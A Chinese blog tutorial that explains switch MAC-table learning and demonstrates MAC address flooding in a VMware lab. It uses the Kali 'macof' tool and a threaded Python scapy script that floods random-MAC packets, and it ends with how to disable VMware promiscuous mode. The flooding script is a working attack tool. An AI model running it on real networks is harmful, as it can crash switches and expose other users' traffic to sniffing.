kali与Python实施MAC地址泛洪攻击

文章目录

  • ==MAC地址泛洪攻击==
    • 一、交换机的工作过程
    • 二、基本的攻击原理
    • 三、攻击方式
      • 1、kali工具 - macof
      • 2、python代码
    • 四、虚拟机的混杂模式

MAC地址泛洪攻击

一、交换机的工作过程

image-20240513225016769

image-20240513225036349

空初始交换机

当电脑与交换机连上之后

image-20240514131914203

show mac address-table 我们可以看到

image-20240514132019164

该表中的mac地址和端口号就形成了一一对应的关系

再插一台主机在switcher上

image-20240514132447544

image-20240514132454065

当一个主机上线,交换机与主机之间就可以自主通过协议形成该交换表

二、基本的攻击原理

1、定义任意数据包,并生成随机的MAC地址,不停的发送该数据包

2、该条数据包会流向交换机,而此时的交换机会发现该数据包的源MAC地址不在自己的MAC表中,于是交换机自主学习添加该MAC以及他对应的端口

3、如果发送的构造的数据包数量很大,则会填满MAC表,导致新的数据包无法添加到MAC表中,此时,理论上来说,交换机就会对接下来无法添加进MAC表中的数据包进行广播。

4、一旦交换机进行数据广播,则会导致整个局域网的数据流量全部成员都可见

5、MAC地址泛洪也存在其他情况,比如交换机崩溃,或者整个局域网无法上网等情况。

MAC地址:00:0c:29:ba:c7:bd 一共是16的12次方个,也就是2的48次方个 ,281,474,976,710,656 281万亿种组合

三、攻击方式

1、kali工具 - macof

直接 macof 运行即可,效果有点孩怕,不敢随便使用,害怕给真的交换机搞坏了就完蛋了

image-20240514210630730

在这里插入图片描述

2、python代码

def MAC_Flood():
    while True:
        randommac = RandMAC('*:*:*:*:*:*')  # 随机MAC,虽然这里只生成了一个随机MAC,但是用在下面的数据包构造时,源MAC和目的MAC是不一样的,自动调用了两次
        # randomip = RandIP('*.*.*.*')  # 随机IP,但是好像RandIP用不了
        # print(f'randommac : {randommac}')
        # print(randomip)

        srandip = f'{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}'
        drandip = f'{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}'
        # print(f'srandip : {srandip}')
        # print(f'drandip : {drandip}')
        pkg = Ether(src=randommac,dst=randommac)/IP(src=srandip,dst=drandip)
        sendp(pkg,iface='VMware Network Adapter VMnet8',loop=0)
        # loop=0 表示只发送一次数据包,不循环发送
        
if __name__ == '__main__':
    for i in range(400):
        t = threading.Thread(target=MAC_Flood)

        t.start()

四、虚拟机的混杂模式

当物理机ping其中一台虚拟机时,另外一台虚拟机是可以直接监听到这个ping的过程的,我在想是不是因为是一个局域网的原因

默认情况下,VMware使用混杂模式,整个网络通信过程类似于广播,任意网段内的流量,均会被其他主机监听

下图是在Kali上检测到物理机ping另外一台虚拟机

image-20240514204312442

下图是在Kali上检测到另外一台虚拟机访问woniuxy

image-20240514204506887

如何禁用混杂模式

修改虚拟机目录下的 .vmx 文件,最后一行添加 ethernet0.noPromisc = "TRUE" 表示禁用该虚拟机的混杂模式

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值